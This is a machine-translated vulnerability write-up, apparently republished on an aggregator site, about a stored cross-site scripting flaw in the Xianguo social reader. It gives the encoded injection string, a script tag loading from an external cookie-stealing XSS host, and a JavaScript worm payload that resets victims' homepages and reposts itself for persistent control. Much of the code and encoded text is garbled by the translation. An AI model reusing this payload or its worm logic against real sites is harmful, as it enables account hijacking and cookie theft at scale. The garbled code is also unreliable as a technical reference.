Xiaguo net Xss, worm-capable, theoretically able to persistently control users

Source: Internet
Author: User

The sharing video and music in the fresh fruit log can be used to insert some cross-site code to achieve the XSS effect. For details, see the proof.

To achieve persistent control over users, you can send a log containing cross-site code and set the fresh fruit community to my fresh fruit homepage. In this way, you can achieve persistent control over users, in this way, the user can log on to the fresh fruit node once to trigger the fresh fruit, once again, once again

Demo address: http://xianguo.com/1378148/
First, we came to the place where we shared the video. We wrote a video, saved it, and captured it.
A magic thing will be found in the video area,

California % 22% 2C % 22 title % 22% 3A % 22% E6 % 9D % A8 % E5 % B9 % 82% 20% E5 % 88% E6 % 98% BA % E5 % A8 % 81% 81% E9 % 94% 99% E6 % 80% AA % 22% 2C % 22 flag % 22% 3A1% 2C % 22url % 22% 3A % 22 http % 3A % 2F % 2Fwww.tudou.com % 2 Fprograms % 2 Fview % 2FOgYtHXq8oVw % 22% 7D
Perform URIComp decoding.

{"Flashvar": "OgYtHXq8oVw", "flash": "http://www.tudou.com/v/OgYtHXq8oVw/v.swf", "imageurl": "http://i1.tdimg.com/118/195/384/p.jpg', lpic = \" http://i1.tdimg.com/118/195/384/p.jpg "," title ": "Yang Mi Liu kaiwei", "flag": 1, "url": "http://www.tudou.com/programs/view/OgYtHXq8oVw "}
We are familiar with the {} type. What are the weak terminologies that do not understand .......
Then encode our cross-site code with Unicode
> <Script src = http://xsser.me/pIQKKz> </script>

\ Users \ u003E \ u003C \ u0073 \ u0063 \ u0072 \ u0069 \ u0070 \ u0074 \ u0020 \ u0073 \ u0072 \ u0063 \ u003D \ u0068 \ u0074 \ Users \ Users \ u0078 \ u0073 \ u0073 \ u0065 \ u0072 \ Users \ u006d \ u0065 \ u002f \ u0070 \ u0049 \ u0051 \ u004b \ u004b \ u007a \ u003E \ Users \ u0063 \ u0072 \ u0069 \ u0070 \ u0074 \ u003E
Then insert the above encoding into the flash Address.

{"Flashvar": "OgYtHXq8oVw", "flash": "photo", "imageurl": "http://i1.tdimg.com/118/195/384/p.jpg', lpic = \" http://i1.tdimg.com/118/195/384/p.jpg "," title ": "Yang Mi Liu kaiwei", "flag": 1, "url": "http://www.tudou.com/programs/view/OgYtHXq8oVw "}
URIComp Encoding

California % 22% 2C % 22 title % 22% 3A % 22% E6 % 9D % A8 % E5 % B9 % 82% 20% E5 % 88% E6 % 98% BA % E5 % A8 % 81% 81% E9 % 94% 99% E6 % 80% AA % 22% 2C % 22 flag % 22% 3A1% 2C % 22url % 22% 3A % 22 http % 3A % 2F % 2Fwww.tudou.com % 2 Fprograms % 2 Fview % 2FOgYtHXq8oVw % 22% 7D
Then replace the original video.

 

The effect is as follows:

 

COOKIES

 


 


In fact, we can log on with COOKIES, but we can still talk about persistent control.

Var pkav = {
Ajax: function (){
Var xmlHttp;
Try {
XmlHttp = new XMLHttpRequest ();
} Catch (e ){
Try {
XmlHttp = new ActiveXObject ("Msxml2.XMLHTTP ");
} Catch (e ){
Try {
XmlHttp = new ActiveXObject ("Microsoft. XMLHTTP ");
}
Catch (e ){
Return false;
}
}
}
Return xmlHttp;
},
Req: function (url, data, method, callback ){
Method = (method | ""). toUpperCase ();
Method = method | "GET ";
Data = data | "";
If (url ){
Var a = this. ajax ();
A. open (method, url, true );
If (method = "POST "){
A. setRequestHeader ("Content-type", "application/x-www-form-urlencoded ");
}
A. onreadystatechange = function (){
If (a. readyState = 4 & a. status = 200)
{
If (callback ){
Callback (a. responseText );
}
}
};
If (typeof data) = "object "){
Var arr = [];
For (var I in data ){
Arr. push (I + "=" + encodeURIComponent (data [I]);
}
A. send (arr. join ("&"));
} Else {
A. send (data | null );
}
} Www.2cto.com
},
Get: function (url, callback ){
This. req (url, "", "GET", callback );
},
Post: function (url, data, callback ){
This. req (url, data, "POST", callback );
}
};
If (! Window. _ x ){
Pkav. post ("http://xianguo.com/doings/sethome", "type = snsSet", function (rs ){});
Pkav. post (" http://xianguo.com/doings/addblog ", "%% 2522% 252C % 2522 title % 2522% 253A % 2522% 25E6% 259D % 25A8% 25E5% 25B9% 2582% 2520% 25E5% 2588% 2598% 25E6% 2581% 25BA % 25E5% 25A8% 2581% 2520% 25E9% 2594% 2599% 25E6% 2580% 25AA % 2522% 252C % 2522 flag % 2522% 253A1% 252C % 2522url % 2522% 253A % 2522 http % 253A % 252F % 252Fwww.tudou.com % 252 Fprograms % 252 Fview % 252FOgYtHXq8oVw % 2522% 257D & editorValue = % 3Cp % 3E % E9 % BB % 84% E9 % 87% 91% E5 % 91% A8 % E5 % 85% A8 % E5 % 9B % BD80 % E6 % 99% AF % E7 % 82% B9 % E4 % B8 % 8B % E8 % B0 % 83% E7 % A5 % A8 % E4 % BB % B7 % 3C % 2Fp % 3E ", function (rs ){});
Window. _ x = 1;
}

The first package is to set the interactive community as the homepage.
The second package is to send a microblog

Solution: Enhance filtering ~~~~~~~~~

I don't have much time to type...

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.